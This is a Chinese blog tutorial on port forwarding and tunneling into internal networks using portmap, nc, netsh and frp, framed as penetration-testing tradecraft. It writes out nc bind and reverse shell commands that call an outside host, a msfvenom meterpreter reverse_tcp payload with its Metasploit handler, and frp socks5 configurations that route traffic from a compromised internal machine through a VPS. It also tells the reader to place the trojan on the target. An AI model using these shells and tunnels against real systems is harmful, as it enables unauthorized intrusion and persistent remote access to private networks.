当前位置:   article > 正文

端口转发及穿透内网

端口转发

portmap

https://github.com/Brucetg/Pentest-tools
不推荐,我测试的时候很卡

  1. 首先在有公网ip的主机上监听
    ./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777
    监听来自6666端口的请求,并将其转发到7777端口。
  2. 在内网上进行端口转发(内网主机不出网)(会一直监听端口)
    ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网ip -p2 6666
    将内网主机22端口的流量转发到公网主机的6666端口
  3. 登录
    ssh 公网ip -p 7777

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

nc

交互性较差

正向连接(内网主机出网)

  1. 内网主机
    nc -l -p 4444 -t -e /bin/bash
    -t 是通过telnet模式执行cmd.exe程序。
  2. 公网主机
    nc -vv 内网ip 4444

在这里插入图片描述
在这里插入图片描述

反向连接(内网主机不出网)

  1. 在公网主机上进行监听
    nc -lvnp 4444
  2. 在内网主机上执行
    nc -t -e /bin/bash 公网主机ip 4444
    在这里插入图片描述
    在这里插入图片描述

netsh端口转发

端口转发

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
参数说明:
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口,来自listenport的连接会被转发到该端口 显示系统中的转发规则列表

显示系统中的转发规则列表netsh interface portproxy show all
清除所有当前的端口转发规则 netsh interface portproxy reset
删除指定的端口转发规则 netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110

netsh端口转发监听meterpreter

  1. 攻击机
    msfvenom -p windows/meterpreter/reverse_tcp > lhost=跳板机ip lport=跳板机端口 -f exe>shell.exe
  2. 跳板机输入端口转发命令
    netsh interface portproxy add v4tov4 listenport=跳板机端口 connectaddress=内网ip connectport=内网端口
  3. 攻击机监听
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 内网ip
    set lport 内网端口

frp

在有公网ip上配置fips

启动服务端
./frps -c ./frps.ini
在攻击机上配置frpc
启动客户端
./frpc -c ./frpc.ini
连接成功,服务端有数据交互
最后将马放到目标机,并且攻击机开启监听

服务端配置文档

bind_port = 7000
vhost_https_port = 7001 #当代理出来的是web服务时,在外网访问http://vps的IP:7001
#dashboard_port状态以及代理统计信息展示,网址:7500可查看详情
dashboard_port = 7500
#dashboard_user访问用户dashboard_pwd访问密码
dashboard_user = admin
dashboard_pwd = password
#log_file日志文件log_level记录的日志级别log_max_days日志留存3天authentication_timeout超时时间
log_file = ./frps.log
log_level = info
log_max_days = 3
authentication_timeout = 0
#max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
max_pool_count = 50

客户端配置文件

server_addr = 1xx.1xx.1xx.205 #vps的ip
server_port = 7000 #vps中配置服务端要一样bind_port = 7000
[rdp]
type = tcp #类型tcp
local_ip = 127.0.0.1 #需要代理出去的ip
local_port = 3389 #需要代理出去访问的端口我这里是3389
remote_port = 7389 #这里就是转发出去的端口,也就是在自己的机器上访问的代理端口 rdp:vps的IP:7389

例子

在这里插入图片描述

  1. VPS配置服务端frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

运行

frps.exe -c frps.ini
  • 1
  1. 目标内网机器配置客户端frpc.ini

[common]
server_addr = 1.166.166.6
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5

运行

frpc.exe -c frpc.ini
  • 1
  1. kali设置代理socks5

vi /etc/proxychains4.conf
socks5 1.166.166.6 7777

msf设置代理

setg Proxies socks5:1.166.166.6:7777
setg ReverseAllowProxy true

使用代理

ssh端口转发、msf反弹shell的端口转发—代理配置

在环境中,VPS起到了桥梁的作用,使得两个内网可以相互通信
在这里插入图片描述

  1. 环境描述

攻击目标内网

攻击桥梁VPS(windows),ip:1.166.166.6

本地机器kali linux,ip:10.1.0.4

工具:frp

  1. 服务端配置

VPS为服务端,假设ip为1.166.166.6

将下载的FRP文件放在VPS,编辑frps.ini文件配置

[common]

bind_port = 60121
dashboard_port = 88
dashboard_user = admin
dashboard_pwd = zCV2!#sWE3x

参数说明:

[common] # 名字
bind_port = port # 指的是frp的服务端端口,用来和客户端kali建立连接
dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
http://1.166.166.6:88
dashboard_user = admin # 网页版的登录用户名
dashboard_pwd = zCV2!#sWE3x # 网页版的登录密码

配置好之后保存,进行运行

frps.exe -c frps.ini

  1. 客户端配置

将FRP文件放进kali,解压命令

tar -zxvf frp_0.36.2_linux_amd64.tar.gz
  • 1

配置kali,让在本地内网的kali,也能使用公网的IP进行访问,客户端的配置文件为frpc.ini

[common]
server_addr = 1.166.166.6
server_port = 60121

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 60122
use_compression = true

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 60123

参数说明

[common]名称
server_addr = 1.166.166.6 # 服务器IP
server_port = 60121 # VPS的端口,用来建立连接

[ssh] # 配置ssh登录的端口转发
type = tcp # 连接方式为TCP的方式
local_ip = 127.0.0.1 # 将本地的IP映射出去
local_port = 22 # 本地的端口为22
remote_port = 60122 # 映射的端口为60122,本地端口22映射到VPS的60122
use_compression = true

[msf] # 配置msf的监听端口转发
type = tcp # 连接方式
local_ip = 127.0.0.1 # 本地IP
local_port = 1234 # 监听本地的端口
remote_port = 60123 # 映射的VPS端口为60123,本地端口1234映射到VPS的60123

在kali中运行

./frpc -c frpc.ini
  • 1
  1. 访问一下frp的web管理页面

访问http://1.166.166.6:88,输入用户名密码登录

可以观察到流量的情况

  1. 测试效果

ssh远程kali,前提是kali开启了远程连接
在这里插入图片描述

参考

https://www.bilibili.com/read/cv13762388

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/224799
推荐阅读
相关标签
  

闽ICP备14008679号